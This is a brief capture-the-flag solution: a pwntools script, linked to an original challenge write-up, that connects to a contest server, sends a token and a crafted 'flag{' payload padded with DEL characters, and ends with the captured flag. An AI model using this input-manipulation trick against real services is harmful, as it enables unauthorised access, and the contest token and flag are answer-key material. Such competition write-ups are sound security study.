原题链接：https://github.com/BeaCox/myBlog/blob/ebb8b6694ca7d9d998dcfdd703137240a5da25f9/posts/sjtuctf-2024-wp/index.html

from pwn import *

r = remote('prob03.contest.pku.edu.cn', 10003)

token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'



r.sendline(token.encode())

recv = r.recvuntil('your token:')

print(recv.decode())



r.sendline(token[:64].encode())

recv = r.recvuntil('your flag:')

print(recv.decode())



exp = ('flag{' + chr(127)*5 + token[:64]).encode()

r.sendline(exp)

r.interactive()

flag{dc1d03c554150acedca6d71ce394}